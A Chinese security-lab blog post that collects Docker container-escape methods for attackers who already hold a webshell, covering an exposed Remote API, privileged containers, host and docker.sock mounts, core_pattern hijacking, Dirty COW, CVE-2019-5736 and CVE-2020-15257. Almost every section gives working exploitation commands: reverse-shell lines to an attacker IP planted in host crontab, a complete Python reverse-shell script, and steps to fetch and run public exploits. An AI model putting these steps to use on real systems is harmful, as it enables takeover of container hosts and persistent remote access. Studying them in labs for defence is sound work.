『杂项』Docker 逃逸方法汇总
点击蓝字 关注我们
日期:2023-03-15 作者:Corl7 介绍: Docker逃逸方法汇总。
0x00 前言
在攻防中,拿到webshell后,发现自己是在docker容器中,拿到的并不是宿主机的权限,那我们就需要进一步渗透,就必须逃逸到宿主机中,拿到宿主机的权限。
复现关于配置错误导致的docker逃逸时,均使用的是Ubuntu20.04.5和最新版docker,在复现脏牛漏洞实现Docker逃逸、runC容器逃逸漏洞、CVE-2020-15257逃逸时,在环境搭建部分,有相关版本说明。下面就介绍各种docker逃逸方法:
0x01 如何判断当前机器是否为docker容器环境
1.1 检查根目录下是否存在.dockerenv文件
如果根目录下存在.dockerenv文件,说明是在docker容器中。
ls -al /1.2 检查 /proc/1/cgroup 是否存在含有docker字符串
查询系统进程的cgroup信息,存在docker字段则是在docker容器中。
cat /proc/1/cgroup0x02 Docker Remote API未授权访问逃逸
在使用docker swarm的时候,管理的docker节点上会开放一个TCP端口2375,默认绑定在0.0.0.0上,造成任何人都可以访问管理端的2375端口,任何人都可以远程控制管理的docker环境。
2.1 环境搭建
使用vulhub中的漏洞环境。
cd vulhub-master/docker/unauthorized-rcedocker-compose builddocker-compose up -d2.2 漏洞验证
访问version和info界面,如果存在返回信息,说明漏洞存在。
http://192.168.59.147:2375/versionhttp://192.168.59.147:2375/info2.3 漏洞利用
在利用之前,需要在中安装好docker,通过命令查看目标主机是否存在正在运行的docker镜像,结果为空,说明不存在正在运行的docker容器。
docker -H tcp://192.168.59.147:2375 ps让目标主机拉取一个镜像。
docker -H tcp://192.168.59.147:2375 pull alpine查看目标主机拉取的镜像。
docker -H tcp://192.168.59.147:2375 images以特权模式,启动拉取的alpine镜像。
docker -H tcp://192.168.59.147:2375 run -it --privileged alpine /bin/sh查看系统磁盘分区情况,在新建一个目录,将宿主机所在磁盘挂载到新建的目录中。
fdisk -lmkdir /hackermount /dev/sda5 /hackerls hacker/首先在kali中使用nc监听,进入到hacker目录,通过touch创建一个sh文件,再将bash反弹命令写入到创建的sh文件里面,在编写计划任务到/hacker/etc/crontab文件中。
cd /hackertouch /hacker/hacker.shecho "bash -i >& /dev/tcp/192.168.59.145/6666 0>&1" >/hacker/hacker.shecho "* * * * * root bash /hacker.sh" >> /hacker/etc/crontab返回到kali中进行查看,已成功接收到shell。
0x03 privileged特权模式启动容器逃逸
特权模式逃逸是一种最简单有效的逃逸方法,使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,可直接通过chroot切换根目录、写ssh公钥和crontab计划任何等逃逸到宿主机。
3.1 环境搭建
拉取一个镜像,在启用时使用--privileged。
docker pull ubuntu:16.04docker run -itd --privileged ubuntu:16.04 /bin/bash3.2 漏洞验证
判断是否是特权模式启动,如果是以特权模式启动的话,CapEff对应的掩码值应该为0000003fffffffff。
cat /proc/self/status |grep Cap3.3 漏洞利用
在docker容器中查看系统磁盘分区情况,在新建一个目录,将宿主机所在磁盘挂载到新建的目录中。
fdisk -lmkdir /hackermount /dev/sda5 /hacker首先在kali中使用nc监听,进入到hacker目录,通过touch创建一个sh文件,再将bash反弹命令写入到创建的sh文件里面,在编写计划任务到/hacker/etc/crontab文件中。
cd /hackertouch /hacker/hacker.shecho "bash -i >& /dev/tcp/192.168.59.145/6666 0>&1" >/hacker/hacker.shecho "* * * * * root bash /hacker.sh" >> /hacker/etc/crontab返回到kali中进行查看,已成功接收到shell。
0x04 危险挂载导致Docker逃逸
在启动docker容器时,将服务器中的根目录或敏感目录挂载到容器中时,可能会造成docker逃逸。
4.1 环境搭建
docker pull ubuntu:16.04docker run -itd -v /:/hacker ubuntu:16.04 /bin/bashdocker exec -it e3a95344a65d bash4.2 漏洞利用
进入到hacker目录,查看是否将宿主机的根目录挂载到/hacker目录中,挂载成功之后,接下来就可以通过写计划任务反弹shell,这里就不再演示,反弹shell方法参考上面反弹shell步骤。
cd hacker/ls0x05 挂载Docker Socket逃逸
在启动docker容器时,将宿主机/var/run/docker.sock文件挂载到docker容器中,在docker容器中,也可以操作宿主机的docker。
Docker采用C/S架构,我们平常使用的Docker命令中,docker即为client,Server端的角色由docker daemon扮演,二者之间通信方式有以下3种,使用下面命令,就可以操作目标docker,使用docker命令,操作docker:
unix:///var/run/docker.socktcp://host:portfd://socketfd5.1 环境搭建
docker pull ubuntu:16.04docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:16.04 /bin/bash5.2 漏洞验证
如果存在这个文件,说明漏洞可能存在。
find / -name docker.sock
5.3 漏洞利用
在docker容器中安装docker。
apt-get updateapt-get install docker.io在docker容器中,使用命令查看宿主机拉取的镜像。
docker -H unix://var/run/docker.sock images 在docker容器中,使用命令再运行一个docker容器,将宿主机的根目录挂载到ubuntu:16.04的test目录中,造成docker逃逸,在通过写计划任务方式,反弹shell,这里不在演示反弹shell过程。
docker -H unix://var/run/docker.sock run -v /:/test -it ubuntu:16.04 /bin/bashls /test0x06 挂载宿主机procfs逃逸
procfs中的/proc/sys/kernel/core_pattern负责配置进程崩溃时内存转储数据的导出方式,如果/proc/sys/kernel/core_pattern文件中的首个字符是管道符| ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。当利用这种方式进行docker逃逸时,触发条件比较苛刻,需要有进程奔溃才能触发。
6.1 环境搭建
启动容器,将/proc/sys/kernel/core_pattern挂载到容器中的/host/proc/sys/kernel/core_pattern位置。
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu:16.046.2 漏洞验证
如果找到两个core_pattern文件,那可能就是挂载了宿主机的procfs。
find / -name core_pattern6.3 漏洞利用
当启动一个容器时,会在/var/lib/docker/overlay2目录下生成一层容器层,容器层里面包括diff、link、lower、merged、work目录,而docker容器的目录保存在merged目录中,通过命令找到当前容器在宿主机下的绝对路径,workdir代表的是docker容器在宿主机中的绝对路径。
cat /proc/mounts | grep docker安装 vim 和 gcc。
apt-get update -y && apt-get install vim gcc -y创建一个反弹 Shell的py脚本。
vim /tmp/.t.py
#!/usr/bin/python3import osimport ptyimport socketlhost = "192.168.59.145"lport = 6666def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((lhost, lport)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) os.putenv("HISTFILE", '/dev/null') pty.spawn("/bin/bash") # os.remove('/tmp/.t.py') s.close()if __name__ == "__main__": main()我们修改/host/proc/sys/kernel/core_pattern文件以达到修改宿主机 /proc/sys/kernel/core_pattern的目的。
chmod 777 /tmp/.t.pyecho -e "|//var/lib/docker/overlay2/559aa75e1fbf3659f9f229f5d7e7e6c4ce4ec1cb2a8c42d3d07476c42148a567/merged/tmp/.t.py \rcore " > /host/proc/sys/kernel/core_pattern在kali中使用nc进行监听,然后在容器里创建一个可以崩溃的程序,编译之后并运行。
vim t.c
#include<stdio.h>int main(void) { int *a = NULL; *a = 1; return 0;}
gcc t.c -o t./t返回到kali中进行查看,已成功接收到shell。
0x07 脏牛漏洞实现Docker逃逸
当宿主机存在Dirty Cow(CVE-2016-5195)漏洞时,利用该漏洞,可实现Docker容器逃逸,获得root权限的shell。
7.1 环境搭建
使用Ubuntu的14.04.5版本进行复现,该版本是存在脏牛漏洞的,执行下面命令之前需要安装好docker和docker-compose。
git clone https://github.com/gebl/dirtycow-docker-vdso.gitcd dirtycow-docker-vdso/ sudo docker-compose run dirtycow /bin/bash7.2 漏洞利用
在kali中开启监听,进入到dirtycow-vdso目录,编译之后,并执行。
cd /dirtycow-vdsomake./0xdeadbeef 192.168.59.145:6666返回到kali中进行查看,已成功接收到shell。
0x08 runC容器逃逸漏洞
2019年2月11日,runc的维护团队报告了一个新发现的漏洞,该漏洞最初由Adam Iwaniuk和Borys Poplawski发现。该漏洞编号为CVE-2019-5736,漏洞影响在默认设置下运行的docker容器,并且攻击者可以使用它来获得主机上的root级访问权限。
8.1 影响版本
docker version <= 18.09.2RunC version <= 1.0-rc68.2 环境搭建
使用Ubuntu的16.04.7版本进行复现,通过下面命令安装指定版本docker。
apt-get updateapt-get install -y apt-transport-https ca-certificates curl software-properties-commoncurl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"apt-get updateapt-cache madison docker-ceapt-get install docker-ce=18.06.1~ce~3-0~ubuntu安装完docker之后,拉取ubuntu16.04的docker容器,并运行。
docker pull ubuntu:16.04docker run -it ubuntu:16.048.3 漏洞利用
在kali中下载exp,并进行编辑,在var payload所在行中添加bash反弹命令。
git clone https://github.com/Frichetten/CVE-2019-5736-PoC cd CVE-2019-5736-PoCvim main.go修改完之后,进行编译。
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go重新打开一个终端,查看正在运行的docker容器,并将编译生成的main文件,拷贝到ubuntu:16.04容器中的tmp目录中。
docker psdocker cp main cfb1c24d8c58:/tmp在docker容器中,给tmp目录中的main文件提升权限,并运行。
cd /tmplschmod 777 main./main假装为宿主机管理员,现在进入到该容器中,运行完命令之后,会提示No help topic for '/bin/bash',这时并没有进入到docker容器中。
docker exec -it cfb1c24d8c58 /bin/bash这时再到docker容器中进行查看,发现exp已被执行。
返回到kali中进行查看,已成功接收到shell。
0x09 CVE-2020-15257逃逸
由于在host模式下,容器与host共享一套Network namespaces,此时containerd-shim API暴露给了用户,而且访问控制仅仅验证了连接进程的有效UID为0,但没有限制对抽象Unix域套接字的访问。所以当一个容器root权限,且容器的网络模式为--net=host的时候,通过ontainerd-shim API可以达成容器逃逸的目的。
9.1 影响版本
containerd < 1.4.3containerd < 1.3.99.2 环境搭建
使用Ubuntu的16.04.7版本进行复现,通过下面命令安装指定版本docker。
apt-get updateapt-get install ca-certificates curl software-properties-commoncurl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"apt-get updateapt-cache madison docker-ceapt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1拉取ubuntu:18.04镜像,使用--net=host启动,并进入到该容器内部。
docker pull ubuntu:18.04docker run -itd --net=host ubuntu:18.04 /bin/bashdocker exec -it 5be3ed60f152 /bin/bash9.3 漏洞利用
进入到tmp目录,使用wget下载exp。
cd /tmpwget https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz下载完成之后进行解压。
tar -zxvf cdk_v0.1.6_release.tar.gz在kali中使用nc进行监听,并执行exp。
./cdk_linux_amd64 run shim-pwn 192.168.59.145 6666返回到kali中进行查看,已成功接收到shell。
0x10 总结
在搭环境时,出现了非常多的问题,一个漏洞环境可能会花半天或一天时间去搭建,最后才能复现成功,幸好自己没有放弃,才能复现这么多的漏洞,学到这么多的知识。
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
点此亲启
ABOUT US
宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。
团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。
对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。